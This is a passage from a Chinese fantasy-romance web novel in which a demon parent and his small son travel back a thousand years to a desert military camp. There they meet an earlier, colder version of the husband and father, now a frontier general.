爸爸妈妈同时伸手,眠眠就不知道怎么办了,扭成“S”形也没有用,他呆了两秒,决定把两只小前蹄分别搭在爸爸妈妈的手上,阻止他们的进攻。 妈妈捏捏他的小蹄,温柔拂去他肚皮上的草屑,再将他抱起来,亲了亲他。 “咩咩。”眠眠回应他。 每次他赖在妈妈的怀里时总会忘形,一不小心变回人形,就露出了两瓣光溜溜白花花的小屁股。陆无烬眯起眼睛,说:“灵眼已经把你光屁股的样子拍下来了,明天就放到幼儿园门口给所有人看。”眠眠吓得往杨思昭的外套里钻,“不要,不要,呜呜呜呜臭爸爸……” 杨思昭哭笑不得,推着陆无烬说:“别闹了。” 他哄了好久,眠眠才勉强抬起头,眼眶红红的,倔强等待爸爸向他道歉。 “对不起。”妖王大人开了金口。 眠眠扁起嘴巴,哼了一声。 “爸爸错了。” 眠眠稍有缓和,慢吞吞地扭头望向他。 “爸爸逗你的,不生气了。” 三秒记忆的眠眠很快就被哄好了,陆无烬挠挠他,他就开始傻笑。 完全忘了陆无烬是怎么欺负他的。 陆无烬将他抱起来,用坚实的臂弯托着他,另一只手握住了杨思昭的手。 “回家吧。” 杨思昭和他十指相扣,“好。” 56、第56章... 睁开眼,是刺目又高悬的太阳。 光晕无限扩大。 理应是青竹林小木屋的天花板,怎么会直接看到太阳?杨思昭眨了眨眼,困惑不已。耳边传来熟悉的呼吸声,呼噜呼噜,他低头,看到了同样一脸懵的眠眠。 “眠眠?” “妈妈,”眠眠把手举起来,白嫩的小小指头上沾满了沙子,“这是什么?” “………沙子?”杨思昭霍然起身。 然后,完全傻了。 这里不是青竹林,不是小木屋,四周是苍茫茫的沙漠,黄沙漫天,整个世界都被朦胧的黄色笼罩着,一眼望不到尽头。 什么情况? 昨晚眠眠突然撒娇,非要挤在他和陆无烬之间睡觉,正巧他在幼儿园忙了一整天也累了,没劲和陆无烬折腾,洗完澡抱着眠眠,一倒头就睡着了。结果一觉醒来,就躺在一片沙漠之上,举目无人,只有呼啸风 声。 这片沙漠,不仅苍茫,还有几分说不出的古旧。就像是千百年前的古迹还原而来。 正想着,耳边传来一串驼铃,清脆悠扬,一支商队缓缓行来,为首的汉子穿着红色箭袖短袍,戴着犀皮护袖,被烈日晒到黑红的脸庞青涩而朴素。杨思昭看得呆住了,他们也注意到了衣着奇怪的杨思昭,几人错行而过,杨思昭一直盯着商队离开,被黄沙虚化了背影。 什么情况…… 百年前的服装,百年前的面庞,没有任何一点现代的物件,没有摄像机和拍摄组。 杨思昭想起了很久之前看过的电视剧。 不会是,穿越了吧? “妈妈。”眠眠开始害怕,像只小考拉一样扒在杨思昭的身上,贴得紧紧。 “不怕,妈妈想办法。”杨思昭本想脱去外套裹住眠眠,手都伸到腰间了,才发现自己身上只有一套睡衣,踩着一双软底亚麻拖鞋,细条条的手腕和脚踝都露在外面。 眠眠身上也是睡衣。会冷的,会饿的。这可怎么办? 杨思昭举目四望,望不到半个人影。刚刚应该喊住商队的,起码能问个年月地点。此时此刻,他不可自抑地想起陆无烬,如果陆无烬在身边就好了。最无助的时候,光是想一想陆无烬,心里就多了一些力量。 “不怕,”杨思昭低头亲了亲眠眠的脑袋,轻声说:“妈妈在呢,眠眠不怕。” 眠眠抱住杨思昭的脖子,怯怯探出脑袋,小心翼翼望向四周。 日落为西,杨思昭决定往西走。 只怪他法术太低,几百年了只会最低级的控水点火术,可眼下连个盛水的器皿都没有。他问眠眠渴不渴,眠眠摇头。 “爸爸呢?”眠眠问。 杨思昭被问住了,听到眠眠嗓子里的哽咽声,他也想哭了,愈发无助,瓮声说:“爸爸……应该在的,我们去找一找爸爸。” 可是,去哪里找爸爸呢? 他抱着眠眠往日落方向走,走得两股战战、饥肠辘辘,眠眠一开始还让他抱着,看他脸色发白,吓得从他怀里挣扎出来,坚决不让他抱了,非要牵着他的手和他一起走。小拖鞋里沾满了沙子,走起路来咯得慌,两条小短腿一个劲地屈膝。 杨思昭心疼不已。 一大一小两只小羊走在荒无人烟的沙漠上,走得疲惫不堪,嘴巴都干得翘皮了,还没看到绿洲,就快要累晕过去。 杨思昭停下来,呼吸困难,就在快要坚持不住的时候,他听到一阵马蹄疾声。 嗒嗒,嗒嗒… 心忽然跳动得快了些。 他回过头,看到了一队骑兵。 为首的身影魁梧高大,玄色铠甲泛着森冷寒光,肩披的猩红军袍猎猎作响。他看到了杨思昭,勒住缰绳,胯下骏马一声长嘶,前蹄高高扬起。 杨思昭仰头望去,怔立当场。 “陆无烬……”他喃喃出声。 黑发束冠的陆无烬看起来格外冷峻,剑眉斜飞入鬓,锐利目光冷冷扫过杨思昭。 “前方何人?”他身旁的副将扬声质问。 杨思昭的眼泪完全控制不住,扑簌簌地落下来。眠眠直接呜咽出声,松开杨思昭的手,哭着扑向陆无烬,“爸爸——” 可是陆无烬坐在马上。 那黄骠马看到一个陌生孩子跑过来,立即进入警惕状态,重心压低,身躯绷紧,马尾高高甩起,眼看着就要踢到眠眠的身上。 “眠眠!”杨思昭惊声喊。 他不顾一切地冲过去。 千钧一发之际,陆无烬俯身一捞,就将眠眠拦腰抱起。 眠眠还没有他胸前的盔甲大,挂在陆无烬的手上,和小羊羔没有区别。 眠眠还不知道发生了什么,只知道好不容易看见了爸爸,嗓子里发出呜呜咽咽的哭声,手脚并作,顺着陆无烬的盔甲一路爬上去,紧紧抱住陆无烬的脖颈。 杨思昭高高悬到嗓子眼的心,瞬间稳稳落下来。 可陆无烬眉头深蹙,低眸睨向眠眠时,眼中毫无温存之意,抬手作势要将眠眠扯下来。 杨思昭的心再一次悬了起来。 “有刺客,保护将军!” 随着副将一声令下,四周将士手中的长枪剑戟迅速向杨思昭刺了过来。 杨思昭在第一个瞬间几乎忘了自己是妖,下意识望向陆无烬。可眼看着刀剑就要落到他的身上,他也顾不上暴露身份了,运作周身之气,指向头顶的枪锋。 枪锋被他震开。 将士们踉跄着后退两步,脸上浮现惊恐之色,迅速调整,再一次刺了过来。 杨思昭再次使出妖力,逼退一圈将士,将士们如见妖魔鬼祟,更添惊悚,士气大弱,皆面面相觑不敢上前。 就在此时,陆无烬将挂在自己身上的小孩扯下来,放在马上,随后翻身下马,取出腰间长刀,刀刃出鞘,寒光凌冽,直直地朝杨思昭刺了过来。 杨思昭一时之间忘了运气,也忘了抵抗,只站在原地痴痴地望着陆无烬。 “陆无烬……”他哽咽着说。 陆无烬霎时顿住,刀尖离杨思昭的喉咙仅有一指的距离。 杨思昭用手背抹去眼泪,哭到不能自已,“我还以为我再也见不到你了。” 四周猛然安静下来。 将士们面面相觑的内容变了,从“这是什么人”变成了“这是将军的什么人”。 梁国无人不知,镇北大将军陆无烬是出了名的冷若冰霜,不仅不近女色,就连对手下的兄弟们也不甚亲切。他七岁习武,十一岁骑马上战场,十七岁带兵打赢第一仗,十九岁率八十亲兵,将北部寇徒逼退三千里,从此威震四方,声名大噪。二十六岁荣封镇北大将军,戌守北境,至今尚末娶妻成家。 营帐里别说没有女子,连只母沙鼠都是见不到的。 可现在,有一个哭哭啼啼穿着古怪的男子,一边抹眼泪一边推开大将军的长刀,二话不说就扑到了陆无烬的身上。 和方才那个奶娃娃如出一辙。 “我………我醒来之后就在这里了。”“我和眠眠都好害怕,我以为再也见不到你了,真的好害怕,幸好,幸好….….”“我好饿,好冷,腿快要走断了。” 杨思昭哭着仰起头,望向陆无烬,“我要吃东西,我要吃肉包和南瓜粥……….将士们心想:完了完了,简直是虎口拔牙,上一个试图靠美色上位的人已经被大将军派人押送游街了,这个更是死罪难逃!已经有士兵摇着头叹叹气,闭上眼,怕下一刻看到血肉横飞的残忍场面。 可是等了好久,都没等到哀嚎声。 士兵睁开眼,看到陆无烬僵着一张铁青的脸,伸手揪住男人的衣领,把他从身上扯了下来。 可下一刻,男人又贴了上来。“我好饿,带我回家吧。” 陆无烬的脸色更加阴沉。 与此同时,趴在马上的眠眠忽然哭了,杨思昭闻声立即跑了过去,铆足了力气爬到马上,抱住眠眠细声细语地哄了哄,而后对着马下的陆无烬说:“走吧,我们回家吧。”神态自若到好像做了多年夫妻。 众将士:“.….” 陆无烬:"……." 杨思昭浑身冷到战栗,抽了抽鼻子,瓮声说:“带我回去吧,陆无烬,我不是刺客也不是坏人,我知道很多事,我可以帮你。” 陆无烬眸色微暗,似有松动。 “将军,现在该如何?”副将走上来请示。 “带回去,关进大牢。” 由于杨思昭大咧咧地占了陆无烬的马,且毫无归还之意,陆无烬只能在众目睽睽之下,翻身骑上副将牵过来的另一匹马,脸色铁青未减,一路沉默着回营。眠眠的屁股在马背上快要颠成四瓣了,可是比起颠簸,更让他难过地是爸爸的冷漠,比以前的爸爸更冷漠。他委屈巴巴地问:“妈妈,爸爸为什么不理我?”“因为…”杨思昭不知如何解释。 他甚至分不清这是一次真实的穿越,还是一场噩梦。可眼前的景象是真实的,寒冷与风沙刮脸的疼痛也是真实的,隔着衣袍感受到的陆无烬的体温也是真实的。也许,他们真的穿越了。 穿越回一千年前,陆无烬的将军时期,穿越回陆无烬还没有遇到他的时候。 爱情尚未发生,亲情无所牵系。 唯有灰蒙蒙的连片营帐,还有黑漆漆满是血腥味的军营大牢。 杨思昭和眠眠被推了进去。 两人还没反应过来,只听咣当一声,牢门紧闭,他们迅速冲到木栅栏前,两手抓住木栅栏,脸挤在中间。 "陆无烬——"“爸爸——” "呜呜呜呜呜呜—" 陆无烬回到主营帐时,仍是满脸的愠色,火气未消,解下盔甲扔到一边。 一众副将形如鹌鹑,大气不敢出。 不多时,士兵冲到帐前,扬声汇报:“将军,方才关进来的两个人一直在哭。” 陆无烬脸色更差。 副将小声说:“定是苦肉计,晾他们半个时辰。” 半个时辰后,士兵又来汇报:“将军,他们还在哭。” 陆无烬手中军册微动。 又过了半个时辰,士兵再次汇报:“将军,小的那个快哭晕过去了。” 副将厉色道:“你个眼拙的,没看到将军在忙吗?两个不知底细的刺客有什么好汇报的,快退——” 话音未落,烛火忽晃。 陆无烬从他眼前飞快走过。 “将军!” 陆无烬一路快步走到大牢,夜深了,大牢暗色浓稠,伸手不见五指,一股腐臭和潮湿混合的气味扑面而来。陆无烬眉头微蹙,命人点燃两侧烛火,狭长走道迅速亮了起来,走道尽头的牢间有一抹白。是倚在木栅栏上的杨思昭。 他身上的白色睡衣已经沾了脏污。 他把小小的孩子抱在怀里,额头抵着孩子的额头,陆无烬隐约看到有一缕浅黄色的光线从他的口中渡到了孩子的口中。 也许因为他很虚弱,那缕光线也变得稀薄黯淡,几乎看不见了。 听到脚步声,杨思昭缓缓抬起头,他的脸色已经惨白到不见血色。 他张嘴说了话,却发不出声。 陆无烬只能俯下身子,侧耳去听,听到他说:“陆无烬,救眠眠。” “快救眠眠……” 杨思昭再醒来时,人已经离开了大牢,正躺在一张硬梆梆的胡床上。 耳边传来苍老的声音,“回将军,此乃饥寒交迫,气血大亏,以致神气失守,故而昏迷,需静养调理。” 回话的人是陆无烬,没有应答而是反问:“他们是……人?” 方士沉吟片刻,谨慎道:“不瞒将军,脉象充盈跳跃,极有可能是妖。” 杨思昭心头一紧。 完了,这次他和眠眠真的在劫难逃了。 他已经在构想如何逃出军营了,却听到陆无烬说:“知道了,此事你知我知,绝不可有第三人知晓,退下吧。” 方士怔然片刻,应诺道:“是。” 杨思昭缓缓睁开眼,正好与负手立于床边的陆无烬对上了视线。 巨大的委屈涌了上来。又被理智压下。 "眠眠呢?"开口是沙哑的声音。 陆无烬下巴抬向床里。 杨思昭望过去,眠眠已经醒了,两只手捧着一只和他的脸差不多大的大肉包,吃得狼吞虎咽,听到杨思昭的声音,他立即两眼一亮,放下大肉包,顶着一张油汪汪的小嘴就扑了过来,“妈妈!”他的草莓小羊睡衣没了,换了一件宽大的亵衣,袖子折了五圈才勉强露出小手,衣摆则是直接盖住了屁股和腿。 看样子是陆无烬的衣裳。 杨思昭很想抱住他,却连抬手的力气都没有。 他在牢里几乎把自己的灵力都传给眠眠了,他怕眠眠撑不住。虽然现在撑不住的人换成了他,可是看着眠眠生龙活虎,他还是倍感欣慰,微微弯起嘴角,在眠眠的脸颊上亲了亲,“眠眠饿坏了是不是?”眠眠一委屈,嘴巴就变成波浪形。 他抬头望向陆无烬。 杨思昭也望向陆无烬,眼中怨念深重。 “…”陆无烬忽感如芒刺背。 57、第57章 三更月,参星横斜。 陆无烬坐在书案后,看着床上两个狼吞虎咽吃着肉包的外来者,眉头止不住地发蹙。 大的叫杨思昭,小的叫眠眠。准确来说,叫陆眠,陆无烬的陆。 “陆无烬,眠眠噎住了,有没有水?”杨思昭焦急地喊,见陆无烬冷着脸没有反应,于是自顾自下了床,赤足走到桌边,倒了一杯茶,回身捧到眠眠嘴边,“眠眠喝一口。”茶又苦又涩,眠眠皱起小脸。 “陆无烬,茶太苦了,有没有白开水?” 陆无烬还是没搭理他。 “不管你相不相信,我就是从一千年后穿越来的,我呢,是你的妻子,我们已经认识三百多年了,在一起也有将近两年了,眠眠是我们的宝宝,是我生的,你是他的爹爹。” 杨思昭用手托住眠眠的小脸,“你仔细看一看,不觉得眠眠的眉毛和鼻子很像你吗?” 见陆无烬不抬眼,他又自顾自说:“其实我和你也有点像了,因为亲多了。” 人类科学家研究出夫妻在一起的时间久了,长期唾液□□交换会带来一种名为“夫妻相”的奇怪现象。杨思昭以前觉得自己的眉眼是圆钝的,不知道是不是和陆无烬在一起久了,还是他心理作用,抑或是含着陆无烬的化丹活了三百年,他总觉得他如今的眉眼偶尔也会显出几分锐意来。 陆无烬终于忍不住了,放下手中的军册,语气里满是怒火,“你究竟想做什么?” “我也不知道哇,”杨思昭说着说着眼圈就红了,“我也不知道怎么一觉醒来就出现在这里了,陆无烬一觉醒来发现我和眠眠不见了一定会急疯掉的,可是我找不到回去的办法。”陆无烬哑了火。 杨思昭一边难过,还不忘把肉包往嘴里塞,“唔这个肉包不好吃,干巴巴的………. 良久,陆无烬忽然出声:“空口无凭,你总得给出一些让我相信的东西。” 杨思昭顿住,想了好一会儿。这可难到他了。 陆无烬的眼神逐渐冷峻。 就在下人端来新茶的时候,杨思昭突然冒出一句:“我知道你身上的痣长在哪里!” 下人僵在原地:“……” 陆无烬脸色铁青。 下人头都不敢抬,匆忙放下托盘,两条腿扭成了麻花,一溜烟没了影,生怕迟一步就要被陆大将军灭口。 杨思昭恍然未觉,下人一走,他就得意道:“一颗在你胸口偏左的位置,一颗在你的右小臂外侧,是不是?” 说得分毫不差,陆无烬抬眸望向他。 杨思昭把热腾腾的茶端到床边,吹了吹,送到眠眠的嘴边,眠眠怕烫,伸出小舌头碰了碰杯沿,被烫得 哆嗦,朝杨思昭傻笑,杨思昭轻声说:“妈妈再吹吹。”他在孩子面前似乎更加温柔稳重。 “因为你是妖。” 陆无烬话一出口,杨思昭手一抖,杯子里的水差点洒在锦被上。 杨思昭怔怔望向陆无烬。 "你是妖,道行不高的小妖。" "是。”杨思昭供认不讳,坦白道:“我是妖,但我没有伤害过任何人。" 他捧着杯子喂眠眠喝了两口茶水,而后放下杯子,扑到陆无烬的书案前。 “我对你没有任何威胁,真的,穿越之前你很爱我的,为了我连命都可以不要,我也很爱你。如果没有穿越,我们会在几百年后相遇,那时候你是——”陆无烬打断他:“我不懂什么穿越,也不知道怎样让你回去。此处是军营重地,闲人不得进,你带着你的孩子明天一早就离开,不要向旁人透露半分。”“不要!”杨思昭一把抓住陆无烬的手,一个劲摇头,“这里茫茫大漠,你要我和眠眠去哪里?我们会饿死冻死的,我哪里都不会去,我要赖在你这里。”陆无烬甩开他的手,蹙着眉头微微后倚,避开他毫无边界感的靠近。 “陆无烬——”杨思昭拖长了尾调,无意识地撒娇,“别赶我走,我会帮你的。” “不行。” "我就是要赖在这里。" 杨思昭攥起拳头,在陆无烬的军册上气鼓鼓地锤了两拳,一扭头回到床上。 眠眠还在啃包子。 他掉了一颗牙,小豁嘴巴在包子皮上留了一个个小凸起。他吃包子不爱吃皮,把肉馅啃完就算吃完,举着剩半边的包子皮给杨思昭,“妈妈,眠眠吃饱了。”杨思昭接过来,放在桌上,拿起桌边的棉帕,用水浸湿了,擦了擦眠眠的手和嘴巴,又说:“眠眠过来漱口。” 眠眠手脚并用,骨碌碌爬到床边。 陆无烬的亵衣穿在他身上实在太大,把腿都挡住了,中途绊了几回。 “嘿咻嘿咻。”他翻过锦被,努力爬到杨思昭身边,朝杨思昭露出笑脸。 他还不知道发生了什么,也不明白爸爸为什么突然变了样子,但只要爸爸妈妈都在他身边,他就什么都不怕了。 他乖乖漱口,擦脸,被妈妈检查过嘴巴和脚心之后,在妈妈的胸口蹭了蹭,亲昵地贴了贴脸颊,然后翻身钻进被窝。 陆无烬余光扫过床榻,一阵心烦。 他戎马十几年,见惯了杀戮和血腥,何曾见过这样的景象?怎么出去巡了一次边防,就把这两人领了回来?早知道就把他们扔在大漠了。 反正是妖,就让他们自生自灭。 正想着,杨思昭挥了挥手中的帕子,“大将军,给我换张帕子、换盆水吧。” 他抬起两条腿,宽大的裤管里露出一截纤细白皙的小腿,脚踝泛着红,脚底板也是陆无烬没见过的白,在地上来回走踩出的灰,衬得他的脚心更加白净。 "好脏,我要洗脚。" 陆无烬的眉头已经皱得不能再皱。他没见过这般娇气的人。 片刻后,他起身离座,不顾身后杨思昭的呼唤,扬起门帘就走了出去。 杨思昭看着自己的脚发呆。 幸好很快就有下人走了进来,送来一盆热水,一块新的棉帕。 杨思昭想了想,先把眠眠捞出来,让他用热水泡了泡脚。受了凉,热水泡脚总归是有好处的。 军营里什么物件都是又大又粗糙,木盆大的几乎能让眠眠坐进去洗个澡。眠眠挂在妈妈的臂弯上,用小脚丫在水面上轻轻拍了拍,溅出一点水花,朝妈妈笑。杨思昭接纳了他的小淘气,没有责备他,只是笑着咬了咬他的小耳朵。 等眠眠洗完脚,杨思昭才开始收拾自己,把脏兮兮的脚放进温水里。 他身上的睡衣也被换了,也换了一身亵衣,看形制和花纹,应是陆无烬的。 是陆无烬帮他换的吗?可能性不太高。 看月色,估摸着已是夜深,陆无烬不会回来了。杨思昭完全没有鸠占鹊巢的愧疚感,自顾自吹灭了蜡烛,钻进了被窝。 直到周围安静下来,把眠眠抱进怀里,他忍了很久的眼泪才冲闸而出。 在陆无烬面前,他装腔作势,摆出无赖的架势,其实心里难过极了。可是他不能哭,不能让眠眠看出异样来,眠眠已经经历过一次妈妈的遗忘,不能再面对一次爸爸的“遗忘”。 其实他也面对不了,陆无烬甩开他的手、对他露出嫌恶又冷漠的表情时,他的心都要碎掉了,整个人都在发抖。他不禁想,陆无烬当时也是这么难过的,对吗?他抱紧了眠眠。 眠眠在迷迷糊糊中察觉到了妈妈的情绪,在睡梦中紧紧抱住了妈妈。 小家伙温热的呼吸喷洒在杨思昭的胸口,让杨思昭重获力量。 为母则刚,他必须坚强起来。 昏昏沉沉睡着,隐约中他感觉到有人靠近床榻,但那人脚步沉稳,带着让他心安的气息,像是陆无烬,便继续安睡。 第二天,副将照例来到主营帐,给陆无烬送来北境郡守的呈请。 见门帘紧闭,副将疑惑:“将军还没起来?” "是—"门口的守卫一脸为难。 话还没说完,里面就传来一道清亮的声音,“温热水,我要的是温热水,洗脸怎么能用冷水呀?” 下人捧着木盆急匆匆地跑出来。 副将满脸写着惊诧。 下人捧着温热水进去之后,又听到那道声音说:“有没有牛奶?没有的话,羊奶、马奶也行,我的宝宝早上要喝奶的,要煮沸的,加点糖最好。”不知下人说了什么,那道声音变了调子,变得腻歪又娇纵,“陆无烬——” 副将脸色一变,心想:完了,这厮未免太大胆,镇北大将军的名讳是他能喊的?皇上都要忌惮他们家将军三分!他刚要指挥手下,陆无烬就出现在了营帐前,眉心愠色依旧,沉声命令副将:“找点羊奶来,煮开了,加点蜂蜜。”副将呆住。 “你怎么了?”陆无烬冷眸望他。 “没、没有。”副将倏然回神,忙不迭领命去了。很快大将军在营帐里养了个奶娃娃的事,迅速传遍了军营,众人皆惊诧不已。陆无烬再走进营帐时,杨思昭和眠眠已经坐在桌边吃早饭了。 一大一小都左手拿包子,右手捧奶碗,唇边沾了奶沫,像一圈白胡子。看到陆无烬,两人同时抬头,露出带酒窝的笑脸,两双眼睛亮晶晶的。 “陆无烬!”“爸爸!”杨思昭提醒了一下眠眠,眠眠立即改口,换了个陆无烬能听懂的,“爹爹!”陆无烬眼皮猛跳。他换了一身玄色锦服,身形修长而健硕,挺拔如松,看得杨思昭两眼发直。好俊。果然什么样子的陆无烬他都喜欢。 他以前就经常幻想陆无烬的将军模样,此刻见到了真人,竟比他预想的还要英朗威武些,他不自觉咽了下口水。 直到陆无烬冷冷地咳了一声。 杨思昭立即收回垂涎目光,干笑道:“今早的包子软和一点,还可以。” 陆无烬在桌边坐下,“你昨晚说你知道许多,知道什么?” “我告诉你,你就不赶我走了?” 陆无烬看他一眼,“不一定。” “现在是何年何月?” 陆无烬如实告知。 之前杨思昭出于好奇,非缠着陆无烬把将军生平当成睡前故事讲给他听,如今回忆起来,仍记忆清晰,“你接下来想用调虎离山之计,攻下潍兰国,是吗?”陆无烬眸色微动,明显怔住。 “你会赢的,但你要小心你手下一个叫程康的人,他过几天会犯军规,你会严惩他,他心存恨意,之后会成为害你的一把刀。”杨思昭一脸认真,全然没了昨晚的无赖模样。陆无烬没有说话,他并不全然相信。 杨思昭仿佛看穿他的心思,瓮声说:“你唯一可以无条件相信的人就是我了。” 营帐里只有他们三人。 小铜炉里的羊奶散着腥甜的热气。 杨思昭给眠眠盛了小半碗羊奶,眠眠的白胡子更白了,他伸出舌头舔了一圈。 怕爸爸笑话,又不好意思地捂住嘴巴。 “陆无烬,有没有小一点的衣裳,你的衣服太大了,眠眠走路都没法走。” 眠眠立即抬了抬手,费力从袖管里伸出他细条条小藕段一样的白胳膊,鹦鹉学舌一样地说:“眠眠走路都没法走!” "我的也不行,裤腰好大。" 眠眠做妈妈的传声筒,指了指自己的肚子,画了个圈,“裤腰好大!” 杨思昭做幼师的时候,会一点简单的缝补,他问:“实在不行,我自己裁自己做,有没有好看点的布料?“ 眠眠不会表达了,就和杨思昭一起眼巴巴地望向陆无烬。 热雾弥漫,模糊了一大一小两张脸,陆无烬垂下眼眸,不想多看。 58、第58章... 风沙弥漫的军营,离最近的绿洲也有一段距离,入目皆是土色,看不见半点生机。 将士们也习惯了这样的生活。 直到 “眠眠,快看!”披着一件鹅黄绒氅的杨思昭朝不远处招了招手,很快,一个果绿色的小圆球就直冲冲朝他跑来,扑到他的怀里。 陆无烬送来一些布料,杨思昭都看不上,不是嫌式样老旧,就是质感粗糙。他自己穿倒是没什么,眠眠这样嫩胳膊嫩腿的,吹弹可 破的皮肤,怎么经得住边塞的磋磨?最后他在一箱御赐的衣箧里,翻出两件颜色鲜亮的绒氅,其中一件玉色绒氅被杨思昭裁剪成眠眠可以穿的外袍,不过杨思昭针脚粗陋,织得乱七八糟。 幸好眠眠一点都不嫌弃。 他努力从小一圈的袖管里伸出小手,五指开花,朝杨思昭笑,“妈妈最厉害啦!” 杨思昭上一秒刚剪坏了陆无烬一件全新的大氅,此刻听到眠眠的夸奖也毫不羞愧。 “刺啦——”又是一剪刀。 又坏了一件。陆无烬撩起眼皮看了一眼,杨思昭两只手攥着大氅,掩藏罪证,咧嘴朝他笑。陆无烬没作声,低头继续看军报。只有副将心疼得直跺脚。那可是价值千金的织锦缎啊!他一辈子的俸禄都买不起,竟然就这么一剪子 将军怎么眼睛都不眨一下!!副将感觉自己快窒息了! 郡守不知从哪里听到了陆大将军的营帐里来了一个奶娃娃的风声,当天中午就送来了两套石榴红锦缎棉袄,一顶明蓝色的虎头帽,虎脸栩栩如生,琥珀色的眼睛炯炯有神,还有两双厚底黑面小棉靴,绣着漂亮的云纹。 “哇!”杨思昭爱不释手地摸摸。 眠眠穿着杨思昭给他剪得乱七八糟的绒布,骨碌碌跑过来,一把抱住虎头帽。 “嗷呜!”眠眠学着老虎的叫声。 "小靴子好可爱。" 什么衣服变成小小的,都显得好可爱。金线花纹精致又小巧,缎面柔软,领口与袖口镶着一圈厚实洁白的狐毛,杨思昭把眠眠抱到腿上,迫不及待给他换上了新衣裳。眠眠很快就变成了一个漂亮的小公子。 脚蹬小靴子,头戴小虎头帽。他在原地转了个圈,跑向陆无烬,绕过比他还高的书案,猛地扑到陆无烬的腿上。一把抱住,仰头喊:“爸爸!” 陆无烬手一抖。一旁的副将更是吓得两眼溜圆。难道谣言是真的,这孩子真是大将军从前的风流债?那岂不是小少爷? 眠眠用脑袋蹭了蹭陆无烬的腿,顶着一张白里透红的小圆脸,嗲嗲说:“爸爸,眠眠变成老虎啦,好不好看?” 杨思昭小声提醒他:“是爹爹!” 眠眠立即改口,“爹爹,爹爹!” 他对陆无烬是百分百的亲昵,不含半点胆怯和疏离,抱着陆无烬的腿,仰着头,眼巴巴地望着陆无烬。隔着布料,陆无烬能清晰感觉到小家伙温热的皮肤。 就像新鲜的羊奶酪,细嫩柔软。 他定然不是在塞草连天的边境长大的,应该是在小桥流水的南方,在几百年后,由一个也叫“陆无烬”的男人和眼前这只小妖生出来的,一只软绵绵的小小妖。见陆无烬不理他,眠眠有些着急,若放在以前,爸爸不理他,他就不理爸爸了。可现在他和爸爸的关系已经变得很好很好了,爸爸 不忙工作了还会抱着他出去玩,他现在也很黏爸爸的。如果爸爸不理他,他就主动点。 眠眠这样想着,两只小手抓住陆无烬腰间的束带,猛地用力,沿着陆无烬的腿爬了上去,两脚一分,直接跨坐在陆无烬的大腿上,又坐不稳,摇摇欲坠的。 陆无烬伸手扶住了他的肩膀。 他像是没骨头,陆无烬一扶,他就顺势倒在陆无烬的怀里了。 一股甜腻的羊奶香扑面而来。 陆无烬不自觉皱起眉头,可眠眠毫无察觉,依旧仰着脑袋,傻兮兮地笑。 杨思昭在后面看着,既欣慰又有几分羡慕:要是他也五岁就好了,能肆无忌惮地卖萌,扑到陆无烬的怀里不撒手。 如果他现在扑向陆无烬,恐怕会被陆无烬的红缨长□□个对穿。 哎,他无声叹息。 好想念陆无烬,他什么时候能回去,没有陆无烬他简直吃不下饭睡不着觉。 眼前的陆无烬虽然也是货真价实的陆无烬,却不是一个爱他的陆无烬。 这不够。 他转过身,继续给自己缝衣服。 郡守在献殷勤的时候不可能会想到,陆无烬的营帐里不仅多了一个奶娃娃,还多了一个男人。杨思昭还是得自己做衣服穿,他给自己做就粗陋许多了,勉强合身,能遮肉挡风就行。穿好之后,他问陆无烬:"营帐里太闷了,我能带着眠眠出去走一走吗?" 陆无烬应允,让副将跟在他们后面。 于是边塞军营里多了两抹亮色。 鹅黄色的杨思昭抱着石榴红的眠眠,穿梭在灰蒙蒙的马厩里,引得战马接连嘶鸣,杨思昭看到一只小马,招手让眠眠过去看,“眠眠,这边有只小马驹。” 眠眠的朋友里还没有小马,所以他格外新鲜好奇,眼睛都不舍得眨一下。 他朝小马挥挥手,“小马,你好呀,我是一只小羊,我叫眠眠。” 小马仿佛听懂了他的话,走过来,用脑袋顶了顶眠眠的小手。 一旁的马夫见状立即传话给士兵:“不愧是大将军的儿子,五岁就敢摸马了。” 这话从一只营帐传到另一只营帐,从“五岁敢摸马”,逐渐变成“五岁敢驯马”。 传到陆无烬耳朵里的时候,已经变成了——“真是龙生龙子,虎生虎儿,大将军的儿子五岁就能骑马上战场了!” 陆无烬:“.…. 他看向正晃荡着两条腿,坐在他书案边吃羊奶酪的眠眠,眠眠察觉到他的目光,抱着小碗朝他笑,“好吃!” 而杨思昭在他耳边喋喋不休:"….…我能不能告诉你啊,告诉你,会不会改变历史的进程,你如果安然度过这一遭,功成身退安享晚年了,还会变成神君吗?你不变成神君,我怎么遇到你呢?"陆无烬听得心头没由来的烦。 这小妖一口一个“陆无烬”,可分明是看着他的脸,想着另一个人。“告诉我什么?”他冷声打断。杨思昭噤了声,眼皮耷拉下来,一副有口难言的模样,半晌才出声:“陆无烬,你这一世的结局……如果不太好,你会不会难过?” 陆无烬倒是神色淡然,在两郡的巡防呈报上勾了一笔,“不会。” “为什么?” “身以许国,悉听上意。” 杨思昭替他着急,拍案而起,“怎么可以这样想?你属于你自己啊!” 陆无烬怔然。 “你已经很辛苦了,那般显赫的军功,就因为一句功高震主'',被皇帝打发到这个不毛之地,蹉跎了青春年少,“杨思昭看起来比陆无烬还要愤恨,气鼓鼓的,“我都替你委屈,你怎么还能以身许国?”“隔墙有耳,不要乱说话。” 杨思昭闷闷点头,瓮声说:“反正你要保重你自己,陆无烬,你很珍贵。” 陆无烬的眸色一瞬间变了。 他沉默地望着杨思昭。 "我很希望一切按照原来的走向进行,我想早点回家,但是……我不想你受委屈。之前你提起这段经历时,声音总是沉沉的,眼神也很暗淡,我就知道,你心里还是难过的。我不想你难过。"杨思昭趴在桌案边,伸出一根指头,戳了戳陆无烬的皮甲护臂,“要好好对自己,不要随随便便牺牲自己。” 陆无烬这一次没有冷言讥讽。 营帐里陷入安静。 “你在我心里太珍贵了。”杨思昭用自己能听见的声音说:“哪怕代价是我们之后没机会重逢,我也不想你难过。”"我的大将军,我的神君。" 和陆无烬相比,他的力量很弱小,在这段感情里,陆无烬付出的比他多很多。 也许穿越这一回,就是为了让他有机会弥补这个小缺憾。 他收回手,把胳膊垫在脸下,趴在桌上怔怔地发呆。 他的脸颊被胳膊挤得圆鼓鼓,侧脸看着和眠眠出奇地像,陆无烬看了一眼。 片刻后,又用余光扫了一眼。 直到被眠眠抓住。 “爸爸!你为什么一直偷看妈妈?” 杨思昭呆呆地抬起头来,陆无烬铁青着脸,霍然起身,快步出了营帐。 帐帘被他猛然掀起,帘外北风猎猎,吹得帐子里的烤炉飘出火星子。 喜怒无常就像陆无烬。 比陆无烬更无常的,是边塞的战事。 陆无烬不过出去了一个时辰,北边又传来骚乱之事。敌人来了一招声东击西,把陆无烬的精锐部队引到峡谷里去,再派精兵强攻陆无烬的主军营阵地。 